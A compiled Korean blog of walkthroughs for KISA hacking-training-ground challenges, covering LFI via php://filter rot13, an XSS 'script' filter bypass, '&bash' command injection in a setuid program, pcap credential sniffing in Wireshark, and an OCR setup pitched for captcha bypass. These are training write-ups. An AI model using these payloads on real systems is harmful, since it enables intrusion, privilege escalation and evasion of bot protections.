KISA 해킹 방어 훈련장 문제에 대한 풀이입니다. 


Web Level 4 문제를 보면 아래와 같습니다. 


제목 : 파일 읽기


설명 : 해당 웹 사이트에 접속하여 인증키를 얻어내 보아라


파일을 읽는 문제라고 하는군요. 무슨 뜻일까요? 


[문제 풀기]를 클릭해서 링크를 따라 들어가 봅시다. 



추천은 저를 춤추게 합니다 ^^



메뉴를 이것저것 클릭하다 보니 URL에 '?path=main' 처럼 값을 줘서 보여줄 화면을 지정하고 있는걸 알 수 있습니다. 


크롬(chrome) 브라우저의 요소 검사(Inspect Element)로 소스를 봐 봅시다. 


소스의 맨 위에 'readme.php'라는게 보입니다. 

왠지 저 파일에 뭔가 문제를 풀 수 있는 힌트가 숨겨져 있을것 같은 느낌이 드는군요.  

그래서 제목이 파일 읽기 인가 봅니다. 


자신있게 URL의 path값을 readme.php 로 수정해 봅시다. 


이런.. 아무것도 나오지 않는군요. 


역시 그렇게 간단한 문제는 아닌가 봅니다. 

포기하지 말고 readme.php파일을 보기 위해 여러가지 기법을 사용해 봅시다. 


먼저 LFI(Local File Inclusion)기법 중 가장 많이 사용되는 base64 encode방식으로 시도해 봅시다. 


?path=php://filter/convert.base64-encode/resource=readme


화면에 'no hack'이란 메시지가 나오네요. 

이런 수법을 사용할걸 미리 알고 다 막아놨나 봅니다. 


그렇다고 여기서 포기하면 안되죠. 

PHP 사이트 에 가서 다른 필터 방식을 찾아 봅시다. 

우선 conversion 필터 내용을 확인 해보고 시도해봤으나 역시나 다 막혀있네요. 


이번에는 String 필터쪽을 살펴봅시다. 



문자열(String) 필터 링크를 따라 들어가봅시다. 


'string.rot13'이 지원 된다고 하는군요. 

이게 뭔가 찾아보니 '카이사르 암호의 일종으로 영어 알파벳을 13글자씩 밀어서 만든다.' 라고 하는군요. 


큰 기대가 되진 않지만 우선 시도해봅시다. 

URL을 다음과 같이 수정해서 시도하면 됩니다. 


?path=php://filter/string.rot13/resource=readme


화면에는 아무것도 나타나지 않지만 크롬 브라우저의 '요소 검사(Inspect Element)'기능의 'Resources' 탭에서 보니 뭔가 메시지가 보이네요. 


<?

$xrl = "gxqykzncfodufgxsxn_dbeuizrx_oo";

?>


우리가 rot13 방식으로 인코딩 했으니 이 값을 디코딩 하면 무슨 값이 되는지 해봅시다. 


rot13 을 디코딩 해주는 사이트를 찾아 들어가봅시다. 


먼저 앞에 있는 값 'xrl'을 입력하고 디크립트(decrypt)를 수행했더니 'key'라고 나오네요. 

그렇다면 뒤에 있는 값은 우리가 찾는 키 값이 되겠죠?


값을 입력하고 디크립트를 수행하면 그토록 애타게 찾던 키 값이 나옵니다. ^^ 


base64 인코딩 방식으로 풀어보려 URL을 인코딩도 해보고.. 별별 방법으로 엄청 삽질 했네요. 

문제를 풀고나니 오히려 허무하기까지 한 문제였지 않나 싶습니다. 

Posted by KT한
,

KISA 해킹 방어 훈련장 문제에 대한 풀이입니다. 


Network Level 3 문제를 보면 아래와 같습니다. 


제목 : 패킷 내용 분석


설명 : 패킷 내용을 분석해 접속자들끼리 나눈 비밀 

대화를 도청하고 암호를 획득하여라!



추천은 저를 춤추게 합니다 ^^



문제 풀기를 클릭하면 pcpcpc.pcap파일을 다운 받을 수 있습니다. 


와이어샤크(wireshark)로 열어봅시다. 


그리고, 메뉴에서 'statistics > conversations'을 선택해봅시다. 



두 호스트 간 통신한 내용을 간략하게 정리해서 보여주는 기능입니다. 


이제 하나 하나 'Follow Stream' 버튼을 눌러가며 통신 내용을 살펴 봅시다. 

전반적으로 훑어보고 의심가는 flow를 먼저 봐도 됩니다. 



위에서 선택한 대화는 네이트온으로 주고받은 대화네요. 

암호화 되어 있지 않아서 서로 주고받은 메시지를 모두 볼 수가 있습니다. 



대화로 주고받은 내용중에 인증키로 의심이 가는 메시지가 있습니다. 

혹시나 하는 마음에 넣어보니.. 역시나 맞네요. 


문제가 쉬운 감이 없잖아 있지만.. 어쨌든 풀었으니 패스~ 

Posted by KT한
,

KISA 해킹 방어 훈련장 문제에 대한 풀이입니다. 


Network Level 2 문제를 보면 아래와 같습니다. 


제목 : PCAP 파일을 분석하여라!


설명 : 주어진 PCAP 파일을 분석하여

인증키를 추출해 보아라!



추천은 저를 춤추게 합니다 ^^



문제 풀기를 클릭하면 proc_p2.pcap파일을 다운 받을 수 있습니다. 


와이어샤크(wireshark)로 열어봅시다. 


그리고, 메뉴에서 'statistics > conversations'을 선택해봅시다. 



두 호스트 간 통신한 내용을 간략하게 정리해서 보여주는 기능입니다. 

이제 하나 하나 'Follow Stream' 버튼을 눌러가며 통신 내용을 살펴 봅시다. 
전반적으로 훑어보고 의심가는 flow를 먼저 봐도 됩니다. 

보다 보니 telent 통신을 한 내역이 있네요. 

암호화 되어 있지 않아서 서로 주고받은 데이터를 모두 볼수가 있네요. 



아래쪽으로 내려보니 로그인 정보가 있습니다. 

설마 이렇게 쉬운 문제를 냈을까 싶지만.. 이 값이 문제에서 요구한 인증키 입니다. 


단, 저 문구를 통채로 넣는것은 아니구요.. 일부만 넣어야 합니다.

일부가 어디부터 어디까지 인지는 문구를 보면 아마도(?) 아실 겁니다. 


만약, 봐도 감이 안온다면 그냥 여러번 시도하시면 되니깐 푸는데는 지장 없을 겁니다. 

Posted by KT한
,

KISA 해킹 방어 훈련장 문제에 대한 풀이입니다. 


Network Level1 문제를 보면 아래와 같습니다. 


문제 제목 : PCAP 파일을 분석하여라!


문제 설명 : 주어진 PCAP 파일을 분석하여

인증키를 추출해 보아라!



추천은 저를 춤추게 합니다 ^^



문제 풀기를 클릭하면 findkey2.pcap 파일을 다운 받을 수 있습니다. 

와이어샤크(wireshark)로 열어봅시다. 


메뉴에서 'statistics > conversations'을 선택해봅시다. 


두 호스트 간 통신한 내용을 간략하게 정리해서 보여주는 기능입니다. 


이제 하나 하나 'Follow Stream' 버튼을 눌러가며 통신 내용을 살펴 봅시다. 



TCP 프로토콜 6664번 포트로 통신한 내용입니다. 

HanIRC 통신인데 평문으로 통신했기 때문에 대화 내용을 모두 볼 수가 있네요.


혹시나 대화 중에 키 값이 있을 지 모르니 찬찬히 대화 내용을 살펴 보았지만 별 다른 내용이 없습니다. 

그런데, 대화 마지막에 'my.zip' 파일을 보내겠다고 하는군요. 

혹시 주어진 pcap파일에 my.zip파일을 전송하는 패킷이 포함되어 있을 지 모르니 한 번 찾아봅시다. 


만약, zip파일의 header/footer 값을 알고 있다면 수월합니다. 


메뉴의 'Edit > Find Packet' 을 선택해봅시다. 

'Hex Value'를 선택하고 zip파일의 header인 '50 4B 03 04 14'를 넣고 'Find'버튼을 클릭해봅시다. 



패킷 하나가 검색 되었네요. 

해당 패킷에서 마우스 우 클릭 후 'Follow TCP Stream' 메뉴를 선택해봅시다. 


통신 한 내용이 나옵니다. 즉, zip파일의 내용에 해당하겠죠. 


화면 하단의 'Save As'를 선택 후 원래 보내려던 이름인 'my.zip'으로 저장해봅시다. 


저장된 zip 파일을 열어봅시다. 


zip파일 안에는 'my.txt'라는 파일이 있고 파일을 열어보면 key값이 들어있습니다. 

약간의 인내심을 가지고 노가다를 해야 하긴 하지만 의외로 쉽게 풀리는 문제입니다. 



만약, conversations 메뉴에서 아래 그림처럼 zip파일을 전송하는 tcp flow를 찾았다면 더 간단하게 문제를 풀 수 도 있었을 겁니다. 


'Follow Stream' 버튼을 클릭하면 my.zip 파일을 주고받는 통신을 바로 볼 수 있습니다.


Posted by KT한
,

KISA 해킹 방어 훈련장 문제에 대한 풀이입니다. 


Web Level2 문제를 보면 아래와 같습니다. 


문제 제목 : 웹 개발자의 허술한 보안 코딩을 우회 하

라.


문제 설명 : 웹 어플리케이션 개발자가 XSS에 대한 보

안을 완벽히 하지 못하였다. 현재 적용된 필터링 룰을 

우회하여 XSS에 대한 취약점을 찾아 보아라.



문제 풀기를 클릭하면 다음 사이트로 이동합니다. 


http://221.143.48.110/web/level02/web_application.php




추천은 저를 춤추게 합니다 ^^



해당 사이트에 들어가니 다음과 같은 문구와 함께 입력창이 보입니다. 


웹 어플리케이션 개발자가 XSS에 대한 보안을 완벽히 하지 못하였다.

현재 적용된 필터링 룰을 우회하여 XSS에 대한 취약점을 찾아보아라.

조건) <script> 구문 이용. alert도 반드시 들어 가야됨.

EX) <script>alert('test')</script>



우선 주어진 예제 문구를 넣어봅시다. 



예상은 했지만 역시나 차단 됩니다. 



이번에는 특수 기호에 대한 필터링 기능을 확인 해보기 위해 아래처럼 변경해서 다시 시도해봅시다. 


&lt;script&gt;alert('test')&lt;/script&gt;



이번에는 차단이 되진 않지만 뭔가 다른 결과가 보여집니다. 


<>alert('test')</>


입력했던것과 비교해 보니 script라는 문자열을 필터링 하는것 같은 느낌이 드네요. 


그렇다면 script라는 문자열을 교묘하게 2번씩 써주는 방법으로 다시 시도해봅시다. 


&lt;sscriptcript&gt;alert('test')&lt;/sscriptcript&gt;


의도한 바는 XSS 필터링에 의해서 script라는 문구가 제거되고 나면 sscriptcript 처럼 동작해서 결국 script라는 문구가 남게 되는 겁니다. 


짜잔~

간단하게 XSS 보안 취약점을 찾았네요. 



이렇게 2단계는 생각보다 수월하게 풀 수 있답니다. 


Posted by KT한
,

KISA 해킹 방어 훈련장 문제에 대한 풀이입니다. 


Web Level1 문제를 보면 아래와 같습니다. 



제목 : 이것은 무엇에 쓰이는 것인고 ?


설명 : 해당 웹 사이트에 접속하여 사이트에 숨겨져 

있는 값을 찾아 인증키를 추출해 보아라~ 



문제 풀기를 클릭하면 다음 사이트로 이동합니다. 




추천은 저를 춤추게 합니다 ^^



여기저기 둘러 봐도 딱히 볼만한게 없어 보이네요. 

뭔가 참고할 만한 내용이 있는지 각 페이지의 html소스를 살펴보다 보니 뭔가 수상한 내용이 보입니다. 


product_details.html파일 입니다. 



속성이 'hidden'으로 된 'authkey'라는 이름의 값이 보이는군요. 

딱 봐도 뭔가 난독화된 코드 같다는 느낌이 드네요. 


난독화된 코드를 풀어보기 위해 적당한 사이트를 구글링을 해서 찾아봅시다. 


저는 아래 사이트를 이용했습니다. 

http://htmlobfuscator.com/


value에 해당하는 내용을 복사한 다음 윗쪽 입력 창에 붙여넣고 'obfuscate'버튼을 눌러봅시다. 

원래는 난독화를 시키기 위한 기능 같은데.. 어쨌든 하단 창에 복호화된 코드 내용이 출력됩니다. 


이제 이 내용을 실행시켜보면 됩니다. 


실행 시키는 방법은 많겠지만.. 따로 파일을 만드는게 귀찮으시다면 저처럼 w3schools사이트를 잘 활용 하시면 됩니다. 


w3schools.com 사이트에 들어가셔서 아무 메뉴나 들어가 보면 'Try it yourself'라는 버튼이 보입니다. 

소스를 입력하고 실행시키면 결과 화면을 보여주는 기능입니다. 



아래와 같은 창이 뜨고 왼쪽편 입력 창에 디코드된 자바 스크립트 코드를 붙여넣고 'Submit Code' 버튼을 누르면..


짜잔~ 실행 결과가 팝업창으로 뜹니다. 


스포일러를 할 순 없으니 키 값은 지웠습니다. ^^ 


Posted by KT한
,

이미지 파일에서 문자열을 추출하거나 captcha우회하기 위해 captcha로 부터 문자열을 추출해야 하는 경우에 이미지의 문자 상태가 양호한 편(복잡한 형태의 captcha는 안됨)이라면 간단하게 pytesser라는 라이브러리를 활용해서 문자열을 추출 할 수 있습니다. 


참고로, 우분투 12.04 버전을 기준으로 작성하였습니다. 



추천은 저를 춤추게 합니다 ^^



1. 먼저 아래의 우분투 패키지들을 설치해줍시다. 


$ sudo apt-get install libpng12-dev

$ sudo apt-get install libjpeg62-dev

$ sudo apt-get install libtiff4-dev

$ sudo apt-get install GCC

$ sudo apt-get install g++

$ sudo apt-get install automake



2. pytesser를 설치하기 위해 필요한 파일들을 각 사이트에 접속해서 다운 받아서 설치합니다. 


2.1 leptonica 를 설치합시다. (leptonica-1.69.tar.bz2)


다운로드 주소: 

 

컴파일 및 설치 명령어 

$ ./configure && make -j4 && sudo make install



2.2  Tesseract 를 설치합시다. (  tesseract-ocr-3.02.02.tar.gz)


다운로드 주소:


컴파일 및 설치 명령어 

./configure && make -j4 && sudo make install && sudo ldconfig


 

2.3  Tesseract 언어 데이터 파일을 설치합시다. ( tesseract-ocr-3.02.eng.tar.gz)

영어를 인식해서 문자열을 추출하기 위해 영어 데이터 파일을 다운 받았습니다. 


다운로드 주소:


설치:

다운 받은 파일을 압축을 풀어서 다음 폴더로 옮겨 줍시다. 


/usr/local/share/tessdata


 


2.4  pytesser를 다운 받읍시다.  ( pytesser_v0.0.1.zip )


다운로드 주소:


pythess를 사용할 폴더에서 다운 받은 파일의 압축을 풀어줍니다. 



3. 테스트  

바로 이미지 파일 디코드를 시작해도 되지만, 우선 제대로 설치 됐는지 확인해보는게 좋습니다. 


pytesser 파일의 압축을 풀어 놓은 폴더로 이동해서 테스트로 파이썬 파일을 하나 만들어서 아래와 같은 코드로 테스트 해 봅시다. 


※ 소스코드를 더블클릭하면 복사가 가능합니다. 



4. 코드 작성 및 즐기기 

위의 테스트코드가 정상적으로 동작한다면 아래와 같이 원하는 코드를 작성하셔서 사용하시면 됩니다. 



getpixel() 함수로 픽셀값을 가져오고 putpixel() 함수로 원하는 위치의 값을 변경 할 수 있습니다. 


참고로, 255가 흰색이고 0이 검은색입니다. 

위 코드는 검은색이 아닌 즉, 글씨가 아닌 부분을 하얗게 처리하기 위한 코드인거죠. 


이걸 잘 활용해서 글자에 구멍 난 부분을 메울 수 도 있겠죠? 

이미지 보정 작업을 하면 아래처럼 컴퓨터가 인식하기에 좀 더 편하게 만들어 줄 수 있답니다. 




다양한 이미지 처리 함수에 대해 알고 싶다면 아래 사이트를 참고하시면 됩니다. 

PIL 함수 참고 사이트 =>  http://effbot.org/imagingbook/image.htm



Posted by KT한
,

KISA 해킹 방어 훈련장 문제에 대한 풀이입니다. 


System Level2 문제를 보면 아래와 같습니다


문제 제목 : 확률 게임에서 이겨라!


문제 설명 : 확률 게임이 있다. 이 게임은 1에서 

100중 숫자를 선택하여 컴퓨터가 선택한 값과 일치 

해야 된다. 일치하면 잭팟이 터지고 SHELL을 획득

할 수 있다. 게임에서 이겨라!




접근 IP : 221.143.48.107

접근 PORT : 22


접근ID : system200

접근 PW : securitypractice




추천은 저를 춤추게 합니다 ^^



접근 포트가 22번 이므로 SSH로 접속해봅시다.


$ ssh system100@221.143.48.107


주어진 비밀번호를 입력하면 접속이 이루어집니다. 


우선 현재 폴더에 어떤 파일들이 있는지 확인 해봅시다. 


-bash-4.1$ ll

total 12

-r-sr-x---. 1 root200 system200 9424 Aug  7 00:35 system200


1번 문제와 매우 유사한 형식의 실행 파일인것을 알 수 있습니다. 


우선 파일을 실행해 봅시다. 


-bash-4.1$ ./system200 

Probability Game ------------------------+

- Goal : JackPot!!!

- Menu Choice

(1) Game Start.

(2) User Name Change.

(3) Exit

-----------------------------------------+

INPUT - 1

-----------------------------------------------------------

-Game Method : If a number inputed from 1 to 100, print "JackPot"

-----------------------------------------------------------

Enter the Number ( 1~100 ) :1

Failed...


기본 메뉴가 나오면 '1'을 입력해 게임을 시작할 수 있고, 1~100까지의 숫자중 하나를 입력해서 맞추는 게임이군요. 

풀이 방법은 여러가지가 있을 수 있겠지만.. 저는 brute force 방식으로 풀었습니다. 


$ ./system200 

Probability Game ------------------------+

- Goal : JackPot!!!

- Menu Choice

(1) Game Start.

(2) User Name Change.

(3) Exit

-----------------------------------------+

INPUT - 1

-----------------------------------------------------------

-Game Method : If a number inputed from 1 to 100, print "JackPot"

-----------------------------------------------------------

Enter the Number ( 1~100 ) :`perl -e 'print "1"x500'` 


system200 프로그램에 '1'이란 값을 500개 입력 하라는 의미입니다. 

숫자 1을 입력해서 잭팟을 시도합니다. 


확률상 100번만 시도하면 성공 할 수 있겠죠? 물론, 운이 좋다면 더 빨리 성공 할 테구요. 


한참을 시도한 끝에 숫자를 맞추게 되면 아래와 같은 메시지가 나오면서 종료됩니다. 


INPUT - -----------------------------------------------------------

-Game Method : If a number inputed from 1 to 100, print "JackPot"

-----------------------------------------------------------

Enter the Number ( 1~100 ) :!Conguraturation !!!


권한을 확인해 봅시다. 


sh-4.1$ id

uid=504(root200) gid=502(system200) groups=504(root200),502(system200) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023


실제 화면을 보면 이렇습니다. 



이제 1번 문제와 동일하게 key파일에 들어 있는 내용을 읽으면 끝!


$ cat /home/root200/key


문제 출제자의 의도대로 푼게 맞는지는 모르겠지만.. 어쨌든 잘 풀리니 더 고민하지 않기로 했습니다. ^^ 

Posted by KT한
,

KISA 해킹 방어 훈련장 문제에 대한 풀이입니다. 


System Level1 문제를 보면 아래와 같습니다. 


문제 제목 : 취약한 메아리 프로그램


문제 설명 : 개발자는 메아리 프로그램을 제작 하

였다. 

허나 어설픈 보안 설정으로 해당 프로그램의 취약

점이 존재 한다. 

취약점을 찾아서 SHELL을 획득 하여라.




접근 IP : 221.143.48.107

접근 PORT : 22


접근ID : system100

접근 PW : !kisa_system_gogosing~!!!



추천은 저를 춤추게 합니다 ^^




접근 포트가 22번 이므로 SSH로 접속해봅시다.


$ ssh system100@221.143.48.107


주어진 비밀번호를 입력하면 접속이 이루어집니다. 


우선 현재 폴더에 어떤 파일들이 있는지 확인 해봅시다. 


-bash-4.1$ ll

total 8

-r-sr-x---. 1 root100 system100 7841 Dec  8  2012 system100


system100이란 파일이 있는데 파일의 사용 권한 부분을 보면 소유자의 권한은 'r-s' 입니다. 
SetUID()로 권한을 부여 했다는 말이겠죠. 
그리고, 그룹 권한은 'r-x'로 실행권한을 부여해주었네요. 

다음 필드인 소유자ID와 소유자의 그룹ID를 보면, 그룹ID는 접속해 있는 'system100'인데 소유자는 'root100'이군요. 

다시 말해서, 파일을 실행하면 root100의 권한을 얻을 수 있다는 의미가 됩니다. 


자, 실행 권한이 있는것을 확인 했으니 system100파일을 실행해봅시다. 


-bash-4.1$ ./system100 

ECHO Program------------------

INPUT : a

a


문제 설명에서 처럼 입력한 값을 그대로 출력해주고 바로 종료되버립니다. 

프로그램을 종료 시키지 않고 우리가 원하는 어떤 정보를 출력하도록 해야겠죠?



이번 문제에서 찾아야할 취약점은 특수 문자에 대한 예외처리가 제대로 이루어 지지 않아서 발생하는 문제점 입니다. 


linux 명령어에서 '&'는 프로세스를 백그라운드로 실행 되도록 하는 명령입니다. 

이 문자 뒤에 'bash'를 실행하도록 입력값으로 넣어봅시다. 


-bash-4.1$ ./system100 

ECHO Program------------------

INPUT : &bash


어떤 변화가 발생 했는지 자신의 계정 정보를 확인해봅시다. 

bash-4.1$ id
uid=503(root100) gid=501(system100) groups=503(root100),501(system100) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

오호.. 권한이 'root100'이 되었군요. 

그럼 권한이 상승했으니 root100의 home 폴더에 어떤 파일이 있나 살펴봅시다. 

$ ls /home/root100/
key

파일명만 봐도 정답이 들어있는 파일이란걸 알 수 있죠. 
파일에 들어있는 내용을 입력하면 레벨 클리어~


Posted by KT한
,